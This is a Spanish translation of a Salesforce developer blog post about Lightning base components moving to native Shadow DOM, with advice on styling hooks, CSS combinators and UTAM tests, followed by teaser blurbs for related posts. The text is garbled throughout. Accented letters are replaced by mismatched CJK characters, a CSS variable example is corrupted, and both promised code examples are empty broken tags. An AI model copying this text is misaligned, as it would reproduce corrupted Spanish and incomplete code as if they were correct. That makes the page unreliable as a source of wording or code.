  • Reemplace los ganchos de estilo --lwc con ganchos de estilo globales.
  • Elija ganchos de estilo que correspondan al contexto de uso. Por ejemplo, al reemplazar el valor codificado de #747474 que se usa para un borde con un gancho de estilo, hay dos alternativas para elegir: --slds-g-color-border-base-4 o --slds-g-color-neutral-base-50 . Se recomienda usar --slds-g-color-border-base-4 para el contexto de estilo CSS de "border" en lugar de --slds-g-color-neutral-base-50 .
  • Use declaraciones var(..) y coloque valores de color codificados como respaldo en caso de que un navegador heredado no pueda leer el enlace de estilo o el token de dise帽o. Esto es opcional.
    • background: var(鈥攕lds-g-color-neutral-base-50, #747474);
  • Intente que sus personalizaciones de color cumplan con los est谩ndares de contraste de color de texto y no texto de WCAG 2.1.

M谩s recursos

Sobre el Autor

Timothy Yeh es Gerente de Producto para Sistemas de Dise帽o en Salesforce, enfocado en ayudar a los clientes a construir una interfaz de usuario de mayor calidad m谩s r谩pido al proporcionar sistemas s贸lidos de patrones.

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Seguir leyendo

Cambios en la estructura del DOM interno del componente Lightning base para compatibilidad futura con sombras nativas 鈽侊笍

Cambios en la estructura del DOM interno del componente Lightning base para compatibilidad futura con sombras nativas 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Cambios en la estructura del DOM interno del componente Lightning base para la futura compatibilidad con sombras nativas | Blog de desarrolladores de Salesforce

Salesforce est谩 preparando los componentes base de Lightning para adoptar Shadow DOM nativo , lo que mejorar谩 el rendimiento de los componentes y los alinear谩 mejor con los est谩ndares de los componentes web. Como parte de esta fase de preparaci贸n, hemos cambiado la estructura DOM interna de algunos de nuestros componentes. Reci茅n comenzamos y continuaremos modificando las partes internas de los componentes en versiones posteriores. En esta publicaci贸n, discutiremos qu茅 cambiar谩 y c贸mo puede prepararse para ello.

驴Qu茅 es el DOM de sombra nativo?

Shadow DOM es un est谩ndar web que encapsula la estructura del modelo de objeto de documento (DOM) interno de un componente web. Esto nos da la capacidad de proporcionarle componentes robustos y seguros protegi茅ndolos de ser manipulados por HTML, CSS y JavaScript arbitrarios.

Actualmente, Salesforce mantiene un polyfill de sombra sint茅tico para navegadores heredados, como versiones anteriores de Microsoft Edge, pero ahora que todos los principales navegadores admiten DOM de sombra nativo, estamos preparando nuestros componentes para hacer lo mismo.

Con la introducci贸n del shadow DOM nativo, mejoraremos la encapsulaci贸n de los componentes, haci茅ndolos m谩s consistentes y seguros, y brindaremos una forma m谩s predecible de dise帽arlos. Esto resolver谩 una gran cantidad de problemas de compatibilidad con versiones anteriores y alinear谩 los componentes web Lightning con los est谩ndares web.

Sin embargo, puede provocar una fase de adaptaci贸n a medida que hacemos el cambio.

La implementaci贸n interna de los componentes b谩sicos est谩 cambiando

Hemos estado trabajando en la preparaci贸n de nuestros componentes base para adoptar el shadow DOM nativo. Los escenarios espec铆ficos en los que se romp铆a la encapsulaci贸n de los componentes base requer铆an que cre谩ramos un nuevo elemento contenedor dentro del l铆mite de la sombra. Para ayudar a ilustrar esto, veamos un componente base de ejemplo llamado lightning-foo . Antes, el componente se ve铆a as铆:

<dx-code-block title language code-block="

Example base component

芦>

A partir de Summer '23, se ver谩 as铆:

<dx-code-block title language code-block="

Example base component

芦>

La mec谩nica interna de los componentes b谩sicos no se dise帽贸 para acceder directamente y tratarse como una API confiable para su uso. En cambio, nuestros componentes preempaquetados estaban destinados a usarse tal como son, utilizando las API p煤blicas oficiales que hemos compartido abiertamente. Sin embargo, sabemos que algunos clientes est谩n utilizando componentes internos de manera no documentada. Si est谩 accediendo a los elementos internos de un componente base con fines de personalizaci贸n y prueba, tenga en cuenta estos cambios.

驴C贸mo puede arreglar su c贸digo personalizado y sus pruebas?

Al probar manualmente sus aplicaciones, es posible que detecte un componente personalizado que funcionaba anteriormente y que no tiene el aspecto esperado. Debido a estos cambios, sus pruebas automatizadas de un extremo a otro tambi茅n pueden fallar. En ambos casos, puede significar que su c贸digo personalizado o c贸digo de prueba depende de las partes internas de un componente base que ha cambiado . Exploremos estos dos problemas con m谩s profundidad:

Un componente no se ve como se esperaba:

  • Problema: Intentar dise帽ar el elemento o las clases personalizadas dentro de un componente base puede generar resultados imprevistos.
  • Soluci贸n: El cambio de sombra sint茅tica a componentes totalmente encapsulados con DOM de sombra nativo puede cambiar su estrategia de CSS. Al migrar sus personalizaciones de estilo a la sombra nativa, siga estos pasos:
    • Consulte la disponibilidad de un gancho para peinar . Ofrecen un excelente m茅todo para adaptar un componente sin profundizar en las complejidades del CSS subyacente o el shadow DOM.
    • Aseg煤rese de que el valor que est谩 aplicando al gancho de estilo est茅 vinculado a su sistema de dise帽o en lugar de un valor fijo y predefinido. Evite usar un valor codificado.

Una prueba de extremo a extremo falla:

  • Problema: Cualquier implementaci贸n que use combinadores CSS fallar谩. Por ejemplo, lightning-foo > p no coincidir谩 con nuestro marcado actualizado.
  • Soluci贸n: Los combinadores hacen que el CSS sea fr谩gil y deben evitarse a menos que se usen por una buena raz贸n. La mayor铆a de las veces, los combinadores se pueden eliminar sin ninguna regresi贸n. Si se desea un elemento espec铆fico, se pueden usar otros m茅todos de orientaci贸n que no se basen en el marcado que nunca cambia. Es decir, evite apuntar expl铆citamente a elementos HTML siempre que sea posible. Use otros selectores disponibles, como clases que permiten que su uso de CSS sea abstracto, modular y separado del elemento HTML. Si sus pruebas se basan en combinadores de CSS, le recomendamos que adopte el Modelo de automatizaci贸n de pruebas de interfaz de usuario (UTAM) para evitar cambios importantes en el futuro, ya que los objetos de la p谩gina se mantienen actualizados con todos los cambios de componentes.

Conclusi贸n

En resumen, estamos logrando avances significativos al preparar los componentes base de Lightning para adoptar Shadow DOM nativo, lo que garantizar谩 un mejor rendimiento y la alineaci贸n con los est谩ndares de los componentes web, adem谩s de mejorar la seguridad y la confiabilidad de los componentes. Al encapsular la estructura DOM interna, nos esforzamos por brindar una experiencia m谩s s贸lida y predecible tanto para los desarrolladores como para los usuarios.

Si bien estos cambios pueden presentar algunos desaf铆os iniciales, son pasos necesarios hacia un sistema m谩s estandarizado y preparado para el futuro. Seguimos comprometidos a informar y apoyar a los desarrolladores durante esta transici贸n.

En preparaci贸n para estos cambios, recomendamos adoptar ganchos de estilo y m茅todos de orientaci贸n como clases para garantizar que el uso de CSS siga siendo modular y adaptable. Adem谩s, recomendamos enf谩ticamente adoptar UTAM como su soluci贸n de prueba de extremo a extremo.

Est茅n atentos a m谩s actualizaciones y cambios a medida que Salesforce contin煤a optimizando y mejorando el marco de componentes Lightning. Al adoptar estas pr贸ximas mejoras, los desarrolladores pueden esperar una experiencia de desarrollo m谩s fluida y eficiente mientras crean aplicaciones poderosas en la Plataforma Salesforce.

M谩s recursos

Sobre los autores

Maeve Tuntivate es Gerente s茅nior en el equipo de Gesti贸n de productos en Salesforce.

Jesse Brack es ingeniero principal de UX en el equipo de ingenier铆a de sistemas de dise帽o de Salesforce.

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Seguir leyendo

Diferentes formas de hacer que el componente de la pantalla sea de solo lectura

Diferentes formas de hacer que el componente de la pantalla sea de solo lectura

脷ltima actualizaci贸n el 9 de abril de 2023 por Rakesh Gupta Gran idea o pregunta duradera: 驴C贸mo hacer que el componente de pantalla sea de solo lectura? Objetivos: despu茅s de leer este blog, podr谩: Agregar texto de solo lectura al componente de pantalla usando Display Text Agregar texto de solo lectura al componente de pantalla usando un Lightning Web personalizado

La publicaci贸n Diferentes formas de hacer que el componente de pantalla sea de solo lectura apareci贸 primero en Automation Champion .

Seguir leyendo

Mejore la disponibilidad en su organizaci贸n 鈽侊笍

Est茅 atento a estos antipatrones comunes y utilice estas estrategias para evitarlos y mejorar la disponibilidad en su organizaci贸n.

La publicaci贸n Mejore la disponibilidad en su organizaci贸n apareci贸 por primera vez en el blog de desarrolladores de Salesforce .

Seguir leyendo

Habilite CDN para cargar Lightning Experience m谩s r谩pido 鈽侊笍

Descubra c贸mo una red de entrega de contenido (CDN) puede aumentar su rendimiento y c贸mo puede habilitarla para su organizaci贸n hoy.

La publicaci贸n Activar CDN para cargar Lightning Experience m谩s r谩pido apareci贸 primero en el blog de desarrolladores de Salesforce .

Seguir leyendo

Una inmersi贸n profunda en el componente base LightningModal 鈽侊笍

Con el lanzamiento de Winter '23, ahora enviamos LightningModal, un componente Lightning base que simplifica la incorporaci贸n de modales en sus componentes.

La publicaci贸n Una inmersi贸n profunda en el componente base LightningModal apareci贸 primero en el blog de desarrolladores de Salesforce .

Seguir leyendo

Flujos de pantalla integrados en sus componentes web Lightning 鈽侊笍

Screen Flow permite a los desarrolladores y administradores crear interfaces de usuario y vincularlas a los datos de Salesforce, y utilizar componentes web Lightning como elementos de flujo.

La publicaci贸n Integrar flujos de pantalla en sus componentes web Lightning apareci贸 por primera vez en el blog de desarrolladores de Salesforce .

Seguir leyendo

Agregar modal de superposici贸n emergente en el componente web Lightning

Gran idea o pregunta duradera: 驴C贸mo se utiliza el componente web lightning para mostrar la ventana modal? Objetivos: despu茅s de leer este blog, podr谩: Comprender la diferencia entre alerta y modelo. Mostrar un modal con una superposici贸n en el clic del bot贸n. Mostrar otro componente web Lightning dentro.

La publicaci贸n Add Popup Overlay Modal in Lightning Web Component apareci贸 primero en Automation Champion .

Seguir leyendo

Aprende MOAR en Winter '23 con Release Highlights para desarrolladores 鈽侊笍

驴Escuchaste? 隆Es la semana de Dreamforce! S铆, nuestra reuni贸n familiar de Trailblazer finalmente est谩 aqu铆, los d铆as son un poco m谩s cortos y los PSL han comenzado a resurgir en los men煤s de cerca y de lejos (eso es "Pumpkin Spice Lattes", pero si ley贸 eso y pens贸 en "Licencias de conjunto de permisos", entonces definitivamente eres uno de nuestra gente!). Todo esto [鈥

La publicaci贸n Learn MOAR in Winter '23 with Release Highlights for Developers apareci贸 primero en el blog de desarrolladores de Salesforce .

Seguir leyendo

C贸mo aprobar el examen de certificaci贸n

脷ltima actualizaci贸n el 16 de septiembre de 2022 por Rakesh Gupta Con un inmenso placer, me gustar铆a compartir que aprob茅 el examen de certificaci贸n Platform App Builder hace un mes. Me tom贸 50 minutos revisar todas las preguntas antes de presionar el bot贸n de enviar. Despu茅s de un clic m谩s del

La publicaci贸n C贸mo aprobar el examen de certificaci贸n de Salesforce Platform App Builder apareci贸 primero en Automation Champion .

Seguir leyendo

隆Lanzamiento Winter'23 de las 5 mejores gemas del componente web Lightning de Salesforce!

脷ltima actualizaci贸n el 10 de septiembre de 2022 por Rakesh Gupta El marco moderno del componente Lightning es un marco de interfaz de usuario para desarrollar aplicaciones web din谩micas para dispositivos m贸viles y de escritorio. Como es el caso con cada lanzamiento, el 煤ltimo lanzamiento de Winter'23 est谩 repleto de caracter铆sticas ricas, 隆incluidas las caracter铆sticas del componente Lightning recientemente agregado! Corrientemente,

La publicaci贸n 隆Lanzamiento Winter'23 de las 5 mejores gemas del componente web Lightning de Salesforce! apareci贸 por primera vez en Automation Champion .

Seguir leyendo

C贸mo aprobar el examen de certificaci贸n de consultor de servicio de campo de Salesforce

Despu茅s de temer y demorar un par de veces, finalmente reun铆 el coraje para presentarme hoy al examen de certificaci贸n de consultor de servicio de campo. Y logr茅 pasarlo en mi segundo intento. Entonces, 隆sigue adelante en el 'Camino de ladrillos amarillos'! La primera vez que me present茅 a este examen fue

La publicaci贸n C贸mo aprobar el examen de certificaci贸n de consultor de servicio de campo de Salesforce apareci贸 primero en Automation Champion .

Seguir leyendo

Personaliza tus aplicaciones con ganchos de estilo 鈽侊笍

Los ganchos de estilo pasaron a GA con el lanzamiento de Spring '22. Esta funci贸n abre la puerta a la personalizaci贸n de los componentes b谩sicos de Lightning y mucho m谩s. Con los ganchos de estilo, puede cambiar f谩cilmente la apariencia de una interfaz de usuario est谩ndar modificando algunas l铆neas de CSS: no debatiremos gustos y colores en esta publicaci贸n, pero [鈥

La publicaci贸n Personalice sus aplicaciones con ganchos de estilo apareci贸 por primera vez en el blog de desarrolladores de Salesforce .

Seguir leyendo

Agregar componentes web Lightning en Mobile y Lightning Experience como pesta帽as

脷ltima actualizaci贸n el 24 de junio de 2022 por Rakesh Gupta Gran idea o pregunta persistente: 驴C贸mo mostrar los componentes web Lightning en Salesforce mobile y Lightning Experience como fichas personalizadas? Objetivos: despu茅s de leer este blog, podr谩: Comprender la diferencia entre los componentes de superficie en las p谩ginas de App Builder y

La publicaci贸n Agregar componentes web Lightning en dispositivos m贸viles y Lightning Experience como pesta帽as apareci贸 primero en Automation Champion .

Seguir leyendo

Crear un formulario con una barra de progreso en el componente web Lightning

脷ltima actualizaci贸n el 23 de junio de 2022 por Rakesh Gupta Gran idea o pregunta duradera: 驴C贸mo crear un formulario con una barra de progreso en el componente web Lightning? Objetivos: despu茅s de leer este blog, podr谩: Comprender qu茅 es el campo de barra de progreso rel谩mpago y c贸mo usarlo Crear un formulario

La publicaci贸n Crear un formulario con una barra de progreso en el componente web Lightning apareci贸 primero en Automation Champion .

Seguir leyendo

Acceda a recursos est谩ticos, archivos de activos de contenido en Lightning Web Component

脷ltima actualizaci贸n el 20 de junio de 2022 por Rakesh Gupta Gran idea o pregunta duradera: 驴C贸mo importar y usar recursos est谩ticos en el componente web Lightning? Objetivos: despu茅s de leer este blog, podr谩: Comprender el prop贸sito del recurso est谩tico Usar el recurso est谩tico en el componente web lightning Acceder

La publicaci贸n Acceso a recursos est谩ticos, archivos de activos de contenido en Lightning Web Component apareci贸 primero en Automation Champion .

Seguir leyendo

Pase el valor del campo de entrada Lightning de un clic de bot贸n al controlador de componentes web Lightning

脷ltima actualizaci贸n el 19 de junio de 2022 por Rakesh Gupta Gran idea o pregunta duradera: 驴C贸mo pasar el valor del campo de entrada de rayos como par谩metro al m茅todo de clase del controlador en el componente web Lightning? Objetivos: despu茅s de leer este blog, podr谩: Comprender qu茅 es un campo de entrada de rayos y c贸mo trabajar con

La publicaci贸n Pasar el valor del campo de entrada Lightning de un clic de bot贸n al controlador de componentes web Lightning apareci贸 primero en Automation Champion .

Seguir leyendo

Agregar cuadro de di谩logo de confirmaci贸n, alerta y aviso al componente web Lightning

Gran idea o pregunta duradera: 驴C贸mo mostrar una alerta, una confirmaci贸n o un aviso con el componente web lightning al realizar acciones espec铆ficas? Objetivos: despu茅s de leer este blog, podr谩: Comprender la diferencia entre el cuadro de di谩logo de alerta, confirmaci贸n o modelo de solicitud Agregar un modal de alerta dentro de su componente Lightning Web Agregar

La publicaci贸n Add Confirmation, Alert and Prompt Dialog Box to Lightning Web Component apareci贸 primero en Automation Champion .

Seguir leyendo

Restablecer el campo de entrada Lightning al hacer clic en el bot贸n en el componente web Lightning

脷ltima actualizaci贸n el 17 de junio de 2022 por Rakesh Gupta Gran idea o pregunta duradera: 驴C贸mo restablecer el campo de entrada de rayos a su valor predeterminado o nulo? Objetivos: despu茅s de leer este blog, podr谩: Restablecer el valor del campo de entrada a su valor predeterminado Restablecer el valor del campo de entrada a Nulo y mucho m谩s

La publicaci贸n Restablecer el campo de entrada Lightning al hacer clic en un bot贸n en el componente web Lightning apareci贸 primero en Automation Champion .

Seguir leyendo

Componente de 谩rea de texto enriquecido para Screen Flow

脷ltima actualizaci贸n el 10 de junio de 2022 por Rakesh Gupta Gran idea o pregunta duradera: 驴C贸mo agregar un campo de 谩rea de texto enriquecido a una pantalla de flujo? Objetivos: despu茅s de leer este blog, podr谩: Crear un componente web Lightning para el flujo de pantalla Agregar un editor de propiedades personalizado para un

El componente de 谩rea de texto enriquecido posterior para el flujo de pantalla apareci贸 por primera vez en Automation Champion .

Seguir leyendo